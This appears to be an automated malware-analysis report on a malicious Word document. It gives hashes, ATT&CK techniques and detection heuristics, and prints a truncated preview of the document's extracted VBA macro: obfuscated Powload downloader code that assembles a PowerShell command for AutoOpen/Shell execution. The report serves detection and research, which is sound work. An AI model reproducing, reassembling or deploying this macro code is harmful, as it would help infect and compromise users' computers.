Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3252d431eef2326a…

MALICIOUS

Office (OLE)

217.8 KB Created: 2018-06-28 18:25:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 68d9d7cbcd3f5c69ae325b57861eb966 SHA-1: df08d9830fad1dace72e709207d1d563d2294720 SHA-256: 3252d431eef2326a3fbd353a528d3294261f9fec8bd1199dfe4c50f1cf6f8241
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external commands. The ClamAV detection 'Doc.Malware.Powload-6754228-0' suggests a payload download or execution, consistent with a downloader or droppper malware. The VBA script itself is heavily obfuscated, making it difficult to determine the exact payload or destination.

Heuristics 7

  • ClamAV: Doc.Malware.Powload-6754228-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6754228-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9857 bytes
SHA-256: 484295e8bf9077a6b2cf040bc0ce4fe3921c579095c23560cc5b1e483be7082c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RjUVjnvKNLrzYT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JlzUwLfovXp"
Function TMvlsz()
On Error Resume Next
bvzjli = ChrB(51019 + _
Sin(KdBtE * CLng(rIOEK + 94812) _
 + 59461 _
+ SnzRS))
PkXFPZ _
= 74808 + Atn(5835) / 92490 / _
Round(87052) / 95528 / CInt(wqZXJ)
zVqfjlMa = "HELL   " + "        " + "      " + "     " + "    " + "         " + "    " + "   " + Chr(34) + " " + "$" + Chr(40) + "SEt-It" + "EM  'vA" + "rIaBlE:O" + "fS' "
RVoYp _
= 94724 + Atn(20469) / 81383 / _
Round(93015) / 67482 / CInt(pizPJB)
opSob = ChrB(39649 + _
Sin(MwEcM * CLng(UQFwop + 55652) _
 + 7571 _
+ zBLfF))
uUUOJIWRKoo = "''" + Chr(41) + " " + Chr(34) + " " + Chr(43) + " [stR" + "ing]" + Chr(40) + "'11!" + "70Z91" + "q124J" + "18d65q74" + "J88d2" + "b64b77" + "-69S74" + "!76%"
SfIJl _
= 94361 + Atn(53863) / 54558 / _
Round(4504) / 57070 / CInt(TKdAGN)
CiZYBb = ChrB(38305 + _
Sin(whsQc * CLng(PttRvS + 50533) _
 + 68780 _
+ nDUtVS))
FqRLqzTh = "91Z15-97" + "d74-91" + "!1!1" + "20d74d7" + "7%108" + "J67J7" + "0Z74" + "J65q91!20" + "d11J10" + "3q126-" + "69Z18S8%7" + "1-91"
Gqnbda _
= 90856 + Atn(88709) / 58564 / _
Round(63390) / 80249 / CInt(wujlB)
ERjjKu = ChrB(19158 + _
Sin(mlUjh * CLng(GXbBdB + 34571) _
 + 78800 _
+ zmOdNl))
YXuAuFTTRYs = "d91Z95p" + "21J0Z0q" + "88S8" + "8-88" + "p1p76p78" + "!67J" + "92J91S78q" + "91!74%9" + "3S64" + "J64Z73p1%"
DSTtQB _
= 83133 + Atn(45002) / 61952 / _
Round(86300) / 33711 / CInt(nJZzw)
GaSiIA = ChrB(64145 + _
Sin(TjwvR * CLng(hohCNo + 65392) _
 + 9773 _
+ DVkjGB))
oCioiKcNI = "76b6" + "4!66S0p1" + "21J1" + "24Z22q71!" + "90%98Z" + "31b0p" + "111q71J91" + "J91b95%" + "92q2"
aoPmGK _
= 60467 + Atn(41805) / 19255 / _
Round(36993) / 24297 / CInt(iHbkb)
dwcWk = ChrB(21079 + _
Sin(BuOMX * CLng(aOiJH + 60933) _
 + 60302 _
+ WJLstb))
PqWcNnBTklc = "1Z0d0q88b" + "88b88-1S6" + "8%86!25" + "!25q" + "28J1" + "%76J6" + "4b66b0q" + "86S118S" + "28d106-11" + "7%105"
WZckJO _
= 56393 + Atn(5527) / 23525 / _
Round(7881) / 8126 / CInt(dFQQJ)
CmmDwT = ChrB(9393 + _
Sin(fGpQdq * CLng(ciVlbO + 3977) _
 + 94307 _
+ SFDaC))
UaKwNPtcC = "q108p78S1" + "02%94" + "q0!11" + "1!71" + "d91J9" + "1S95!21d0" + "p0!88" + "-88d"
GsCGrp _
= 88810 + Atn(38026) / 52053 / _
Round(18152) / 61612 / CInt(jWNwa)
VBavf = ChrB(63968 + _
Sin(Apbks * CLng(ituzw + 25593) _
 + 44395 _
+ uhKucv))
wISKOQFzpd = "88!1" + "-77p" + "70d9" + "2-74b93" + "b70b76p7" + "8!95" + "!74Z93Z9" + "1S71J" + "1q76b" + "64S66Z" + "0-127d" + "25%76b77J"
SazWi _
= 80315 + Atn(10106) / 2478 / _
Round(18619) / 22602 / CInt(VjqzS)
itBToW = ChrB(32384 + _
Sin(DOaTQB * CLng(lVhOd + 26713) _
 + 27078 _
+ Yskojr))
FZDzDZ = "124q26q0" + "b111!71-9" + "1d91J95b2" + "1Z0d0" + "-75b" + "64S76" + "q2d69-78J" + "95!78d6" + "5p1!" + "76!64b66" + "S0p7" + "5p64J76"
TMvlsz = zVqfjlMa + uUUOJIWRKoo + FqRLqzTh + YXuAuFTTRYs + oCioiKcNI + PqWcNnBTklc + UaKwNPtcC + wISKOQFzpd + FZDzDZ
IuPbLj _
= 88286 + Atn(66265) / 56866 / _
Round(7319) / 63179 / CInt(bbiitK)
kNIlo = ChrB(41111 + _
Sin(ScaEi * CLng(rPFjDo + 79255) _
 + 38159 _
+ nEKzam))
End Function
Function YwqBDK()
On Error Resume Next
uKrdYH _
= 51334 + Atn(99269) / 18276 / _
Round(51078) / 11709 / CInt(QRHZVz)
MWziEV = ChrB(82010 + _
Sin(aEarvh * CLng(iQMFI + 68103) _
 + 78225 _
+ WdizD))
nZnUotBaWM = "q2%9" + "2b70b9" + "1J74" + "Z0b101-7" + "3Z26-87!7" + "2S96S0-" + "111b71S9" + "1p91" + "S95b" + "21Z0d"
fipzda _
= 55492 + Atn(93653) / 61482 / _
Round(73796) / 15260 / CInt(PAvjiK)
wirMQ = ChrB(82072 + _
Sin(XQbBW * CLng(nRuZk + 88439) _
 + 34858 _
+ qlkaz))
qdUnIppiwWa = "0d73q67p" + "74!88d7" + "4-93" + "b1Z95!" + "67%0" + "%95b90Z" + "77Z0-"
UoKnuX _
= 75646 + Atn(12675) / 84202 / _
Round(78124) / 35085 / CInt(HPDMV)
QjuzGV = ChrB(97866 + _
Sin(sDFzGm * CLng(QtjFn + 12711) _
 + 9721
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.